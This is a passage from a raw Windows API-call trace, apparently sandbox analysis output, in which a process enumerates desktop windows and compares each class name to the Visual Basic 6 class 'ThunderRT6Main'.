hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0144.207] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0144.207] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0144.207] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0144.207] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0144.207] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0144.207] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0144.207] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0144.207] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0144.207] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0144.207] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0144.207] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0144.207] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0144.207] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0144.207] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0144.207] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0144.207] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0144.207] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0144.207] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0144.207] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0144.207] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0144.207] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0144.207] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0144.207] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0144.207] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0144.208] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0144.208] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0144.208] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0144.208] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0144.208] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0144.208] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0144.208] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.208] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0144.208] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0144.208] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0144.208] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0144.208] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0144.208] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.208] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0144.208] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0144.208] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0144.208] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0144.208] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0144.208] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.208] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0144.208] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0144.208] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.208] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0144.208] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0144.208] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.208] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0144.208] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0144.208] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0144.208] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.208] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0144.208] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.208] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.208] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0144.208] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.208] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0144.208] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0144.208] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.208] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.208] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.208] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0144.209] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0144.209] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0144.209] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.209] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0144.209] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0144.209] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0144.209] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.209] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0144.209] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.209] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.209] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.209] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0144.209] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.209] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.209] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.209] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0144.209] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.209] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.209] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.209] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0144.209] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0144.209] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0144.209] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.209] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0144.209] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0144.209] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0144.209] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.209] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0144.209] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.209] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.209] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0144.209] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0144.209] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.209] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.209] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.209] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0144.209] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.209] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.209] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.209] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0144.209] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.209] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.209] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.209] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0144.209] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0144.209] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0144.209] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.209] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0144.209] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0144.210] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0144.210] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0144.210] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0144.210] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0144.210] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0144.210] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0144.210] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0144.210] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0144.210] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0144.210] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0144.210] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.210] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0144.210] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0144.210] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.210] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0144.210] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0144.210] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.210] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0144.210] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.210] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0144.210] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0144.210] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0144.210] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0144.210] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0144.210] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0144.210] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0144.210] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0144.210] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0144.210] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0144.210] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0144.210] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0144.210] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0144.210] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0144.210] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0144.210] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0144.211] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0144.211] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.211] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0144.211] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x6073bf0 [0144.211] IMalloc:Free (This=0x7fefe465380, pv=0x6073bf0) [0147.189] GetCurrentThreadId () returned 0xa30 [0147.189] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0147.189] GetDesktopWindow () returned 0x10010 [0147.189] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0147.189] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0147.189] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0147.189] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.189] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0147.189] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.189] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.189] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.189] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0147.189] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.189] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.189] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.189] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0147.189] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.189] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.189] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.189] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0147.189] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.189] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.189] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.189] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0147.189] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.189] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.189] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.189] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0147.189] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.189] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.189] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.189] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0147.189] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.189] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.189] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.189] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0147.189] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Button") returned 6 [0147.189] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0147.189] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.189] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0147.189] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0147.189] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0147.189] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.189] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0147.190] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.190] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.190] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.190] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0147.190] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0147.190] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0147.190] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.190] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0147.190] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0147.190] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0147.190] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0147.190] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0147.190] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.190] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.190] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0147.190] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0147.190] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0147.190] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0147.190] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0147.190] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0147.190] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.190] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.190] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.190] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0147.190] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.190] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.190] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.190] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0147.190] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 